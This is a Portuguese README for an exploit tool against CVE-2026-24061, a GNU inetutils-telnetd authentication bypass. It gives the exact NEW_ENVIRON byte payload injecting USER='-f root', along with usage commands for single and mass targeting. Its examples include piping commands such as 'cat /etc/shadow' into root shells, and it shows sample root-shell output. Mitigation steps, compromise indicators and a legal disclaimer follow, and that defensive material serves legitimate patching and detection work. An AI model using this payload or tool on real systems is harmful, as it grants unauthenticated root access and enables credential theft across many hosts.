CVE-2026-24061

GNU inetutils-telnetd - Bypass de Autenticação Remota

Uma ferramenta de pesquisa de segurança para explorar a CVE-2026-24061, uma vulnerabilidade crítica de bypass de autenticação remota no GNU inetutils-telnetd que permite acesso instantâneo a shell root sem autenticação.

Índice

• Resumo da Vulnerabilidade
• Versões Afetadas
• Análise Técnica
• Pré-requisitos
• Instalação
• Uso
• Referência de Saída
• Metodologia de Exploração
• Mitigação e Remediação
• Indicadores de Comprometimento
• Aviso Legal
• Referências
• Créditos

Resumo da Vulnerabilidade

Resumo Executivo

Existe uma vulnerabilidade crítica no GNU inetutils-telnetd até a versão 2.7 que permite que atacantes remotos não autenticados ignorem totalmente a autenticação e obtenham acesso imediato a shell root. A vulnerabilidade é explorada por meio da opção telnet NEW_ENVIRON, injetando uma variável de ambiente USER especialmente elaborada com o valor "-f root", que contorna todos os mecanismos de autenticação.

Avaliação de Impacto

• Confidencialidade: Comprometimento total dos dados do sistema
• Integridade: Controle total do sistema com privilégios de root
• Disponibilidade: Potencial para assumir totalmente o sistema ou causar negação de serviço
• Escopo: Inalterado - a exploração afeta apenas o serviço telnet vulnerável

Versões Afetadas

Análise Técnica

Causa Raiz da Vulnerabilidade

A vulnerabilidade origina-se da validação incorreta da variável de ambiente USER no manipulador da opção NEW_ENVIRON do telnetd. Ao processar a opção telnet NEW_ENVIRON, o serviço telnetd não sanitiza o valor da variável USER antes de passá-lo ao processo de login. Ao definir USER como "-f root", o atacante injeta argumentos de linha de comando que forçam a autenticação a ser bem-sucedida para o usuário root sem exigir credenciais.

Vetor de Ataque

1. O atacante conecta-se ao serviço telnetd (geralmente porta 23)
2. Durante a negociação de opções telnet, o servidor solicita dados NEW_ENVIRON
3. O atacante responde com a variável de ambiente USER definida como "-f root"
4. O argumento malicioso contorna as verificações de autenticação
5. Uma shell root instantânea é concedida sem qualquer solicitação de senha
6. O comprometimento total do sistema é alcançado

Complexidade de Exploração

• Pré-requisitos: Acesso de rede ao serviço telnetd alvo
• Autenticação: Não necessária
• Interação do Usuário: Nenhuma
• Complexidade do Ataque: Baixa

Pré-requisitos

Requisitos do Sistema

• Python 3.7 ou superior
• Conectividade de rede com a(s) instância(s) telnetd alvo
• Permissões suficientes para executar scripts Python

Dependências

Todas as dependências fazem parte da biblioteca padrão do Python:

Instalação

Método 1: Usando Git

# Clone the repository
git clone https://github.com/sh4den/CVE-2026-24061.git
cd CVE-2026-24061

# Run the exploit
python3 main.py -u <target_ip>

Método 2: Download Direto

# Download the exploit
curl -O https://raw.githubusercontent.com/sh4den/CVE-2026-24061/main/main.py

# Make it executable (Linux/macOS)
chmod +x main.py

# Run the exploit
python3 main.py -u <target_ip>

Método 3: Instalação Manual

# Ensure Python 3.7+ is installed
python3 --version

# Download and run
python3 main.py -u <target_ip>

Uso

Interface de Linha de Comando

Usage:
    python3 main.py -u <target_ip> [-p <port>] [-usr <user>]
    python3 main.py -l <targets_file> [-p <port>] [-usr <user>]
    echo "commands" | python3 main.py -u <target_ip>

Arguments:
    -u          Single target IP address or hostname
    -l          Path to file containing target IPs (one per line)
    -p          Target port (default: 23)
    -usr        User to exploit as (default: root)

Exploração de Alvo Único

Explore uma única instância telnetd:

# Basic exploitation (default port 23, user root)
python3 main.py -u 192.168.1.100

# Custom port
python3 main.py -u 192.168.1.100 -p 2323

# Different user
python3 main.py -u 192.168.1.100 -usr admin

Modo de Execução de Comandos

Execute comandos de forma não interativa:

# Single command
echo "id; whoami; uname -a" | python3 main.py -u 192.168.1.100

# Multiple commands
echo "cat /etc/passwd; cat /etc/shadow" | python3 main.py -u 192.168.1.100

# Command with output redirection
echo "ps aux > /tmp/processes.txt" | python3 main.py -u 192.168.1.100

Exploração em Massa de Alvos

Explore vários alvos a partir de um arquivo:

python3 main.py -l targets.txt
python3 main.py -l targets.txt -p 2323
python3 main.py -l targets.txt -usr admin

Formato do Arquivo de Alvos (targets.txt):

192.168.1.100
192.168.1.101
10.0.0.50
172.16.0.25
telnet.example.com

Notas:

• Um alvo por linha
• Endereços IP ou hostnames
• Linhas vazias são ignoradas
• Os alvos são explorados simultaneamente usando threading

Referência de Saída

Indicadores de Status

Exemplo de Saída

╔═══════════════════════════════════════════════════════════════╗
║     CVE-2026-24061 - GNU inetutils-telnetd Auth Bypass        ║
║                                                               ║
║  CVSS Score: 9.8 (Critical)                                   ║
║  Impact: Remote Authentication Bypass - Instant Root Shell    ║
║                                                               ║
║          This tool is part of the HGrab Framework.            ║
╚═══════════════════════════════════════════════════════════════╝

[2026-01-23 14:32:15] [INFO] Target: 192.168.1.100:23, User: root
[2026-01-23 14:32:15] [SUCCESS] Connected to 192.168.1.100:23
[2026-01-23 14:32:15] [EXPLOIT] Sent payload: USER='-f root'
[2026-01-23 14:32:15] [INFO] Interactive mode - type commands

# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root

Metodologia de Exploração

Processo de Negociação do Protocolo Telnet

O exploit aproveita a fase de negociação do protocolo telnet:

1. Conexão Inicial: Conexão TCP estabelecida com a porta alvo
2. Negociação de Opções: O servidor envia comandos DO/WILL para várias opções telnet
3. Acordo TTYPE: O cliente concorda em enviar o tipo de terminal (WILL TTYPE)
4. Acordo TSPEED: O cliente concorda em enviar a velocidade do terminal (WILL TSPEED)
5. Acordo NEW_ENVIRON: O cliente concorda em enviar variáveis de ambiente (WILL NEW_ENVIRON)
6. Subnegociação: O servidor solicita variáveis de ambiente (SB NEW_ENVIRON SEND)
7. Injeção do Payload: O cliente envia USER="-f root" na resposta NEW_ENVIRON
8. Bypass de Autenticação: O servidor processa a variável USER maliciosa
9. Acesso à Shell: Shell root concedida sem autenticação

Estrutura do Payload

# Telnet IAC (Interpret As Command) = 255
# SB (Subnegotiation Begin) = 250
# SE (Subnegotiation End) = 240
# NEW_ENVIRON option = 39

payload = bytes([
    255,        # IAC
    250,        # SB
    39,         # NEW_ENVIRON
    0,          # IS
    0,          # VAR
]) + b"USER" + bytes([1]) + b"-f root" + bytes([
    255,        # IAC
    240         # SE
])

Tratamento de Sessão Interativa

• Multiplexação de Entrada: Usa select.select() para monitoramento simultâneo de socket e stdin
• E/S Não Bloqueante: Socket configurado para operações não bloqueantes
• Processamento Telnet: Sequências IAC removidas da saída para exibição limpa
• Gerenciamento de Timeout: Timeout de 30 segundos para execução de comandos

Mitigação e Remediação

Ações Imediatas

1. Desative o telnetd: Pare e desative o serviço telnetd imediatamente

   root@kitploit:~

   # systemd-based systems
   sudo systemctl stop telnetd
   sudo systemctl disable telnetd
   
   # xinetd-based systems
   sudo service xinetd stop
   sudo chkconfig telnet off
   

2. Regras de Firewall: Bloqueie a porta telnet (23) no nível do firewall

   root@kitploit:~

   # iptables
   sudo iptables -A INPUT -p tcp --dport 23 -j DROP
   
   # firewalld
   sudo firewall-cmd --permanent --remove-service=telnet
   sudo firewall-cmd --reload
   

3. Isolamento de Rede: Remova o serviço telnet de sistemas expostos à internet

   • Use apenas segmentos de rede internos
   • Implemente listas de controle de acesso (ACLs) de rede

Recomendações de Longo Prazo

Soluções Alternativas

Use SSH em vez de Telnet:

# Install OpenSSH server
sudo apt-get install openssh-server  # Debian/Ubuntu
sudo yum install openssh-server      # RHEL/CentOS

# Enable and start SSH
sudo systemctl enable sshd
sudo systemctl start sshd

Verificação Após a Mitigação

# Verify telnetd is not running
sudo netstat -tlnp | grep :23
sudo ss -tlnp | grep :23

# Should return no results if properly disabled

Indicadores de Comprometimento

Análise de Logs

Revise os logs do sistema procurando os seguintes padrões:

Logs de Autenticação:

# Check for unusual login patterns
sudo grep telnetd /var/log/auth.log
sudo grep telnetd /var/log/secure

# Look for suspicious USER environment variables
sudo grep "USER.*-f" /var/log/auth.log

Logs de Rede:

• Conexões telnet de endereços IP inesperados
• Conexões à porta 23 fora do horário normal de operação
• Múltiplas conexões rápidas ao serviço telnet

Artefatos do Sistema

• Processos inesperados executando como root
• Arquivos de configuração do sistema modificados
• Contas de usuário não autorizadas
• Novas chaves SSH em /root/.ssh/authorized_keys
• Cron jobs suspeitos ou tarefas agendadas

Indicadores de Rede

• Conexões de saída do processo do serviço telnet
• Exfiltração de dados para hosts externos
• Conexões de reverse shell
• Atividade de varredura de portas originada do sistema comprometido
• Tentativas de movimento lateral para outros sistemas internos

Comandos de Detecção

# Check for active telnet connections
sudo netstat -antp | grep :23

# Review recent root logins
sudo last | grep root

# Check for modified system files
sudo rpm -Va  # RHEL/CentOS
sudo debsums -c  # Debian/Ubuntu

# List processes by root
sudo ps aux | grep root

# Check for unauthorized SSH keys
sudo cat /root/.ssh/authorized_keys

Aviso Legal

IMPORTANTE: LEIA ANTES DE USAR

Esta ferramenta é fornecida estritamente para:

• Avaliações de segurança autorizadas e testes de penetração
• Fins educacionais e de pesquisa em ambientes controlados
• Operações de segurança defensiva com autorização adequada
• Avaliação de vulnerabilidades de sistemas que você possui ou para os quais tem permissão explícita para testar

Usos Proibidos:

• Acesso não autorizado a sistemas de computador ou redes
• Exploração de sistemas sem consentimento explícito por escrito do proprietário
• Qualquer atividade que viole leis locais, estaduais, federais ou internacionais
• Atividades maliciosas ou comprometimento não autorizado de sistemas

Responsabilidade: Os autores, colaboradores e distribuidores deste software NÃO assumem qualquer responsabilidade ou obrigação por uso indevido, danos ou atividades ilegais realizadas com esta ferramenta. Os usuários são os únicos responsáveis por:

• Garantir a conformidade com todas as leis e regulamentos aplicáveis
• Obter autorização adequada antes de realizar testes de segurança
• Quaisquer consequências resultantes do uso ou uso indevido deste software

Aviso Jurídico: O acesso não autorizado a sistemas de computador é uma infração penal grave. Violações podem resultar em processo judicial sob:

• Computer Fraud and Abuse Act (CFAA) - Estados Unidos (18 U.S.C. § 1030)
• Computer Misuse Act 1990 - Reino Unido
• Diretiva da União Europeia sobre Ataques contra Sistemas de Informação
• Legislação semelhante em outras jurisdições ao redor do mundo

As penalidades podem incluir prisão, multas substanciais e responsabilidade civil.

Ao usar esta ferramenta, você reconhece que leu, entendeu e concorda em cumprir este aviso e todas as leis aplicáveis.

Referências

Recursos Oficiais

• Página inicial do GNU Inetutils
• Documentação do GNU Inetutils

Informações sobre a Vulnerabilidade

• NVD - CVE-2026-24061
• Registro CVE da MITRE
• Divulgação no OpenWall (20 de jan. de 2026)
• Discussão no OpenWall (20 de jan. de 2026)
• Atualização no OpenWall (22 de jan. de 2026)

Documentação Relacionada

• CWE-88: Neutralização Incorreta de Delimitadores de Argumento
• Especificação do Protocolo Telnet (RFC 854)
• Opção de Ambiente Telnet (RFC 1408)
• Injeção de Comandos OWASP

Melhores Práticas de Segurança

• Diretrizes do NIST para Acesso Remoto
• CIS Benchmarks
• Recursos de Segurança da SANS

Créditos

• Autor do Exploit: IRIS C2 Team
• Framework: Parte do HGrab Framework
• Descoberta: Comunidade de Pesquisa de Segurança
• Divulgação: Contribuintes da lista de discussão OpenWall

Registro de Alterações

Suporte e Contato

Para perguntas, problemas ou contribuições:

• Issues: Relate bugs ou solicite recursos por meio do GitHub Issues
• Segurança: Relate vulnerabilidades de forma responsável aos mantenedores
• Contribuições: Pull requests são bem-vindos

Licença

Este projeto é fornecido como está, apenas para pesquisa de segurança autorizada e fins educacionais. Nenhuma garantia é fornecida, expressa ou implícita. Use por sua conta e risco e em conformidade com todas as leis e regulamentos aplicáveis.

USE SOMENTE COM AUTORIZAÇÃO ADEQUADA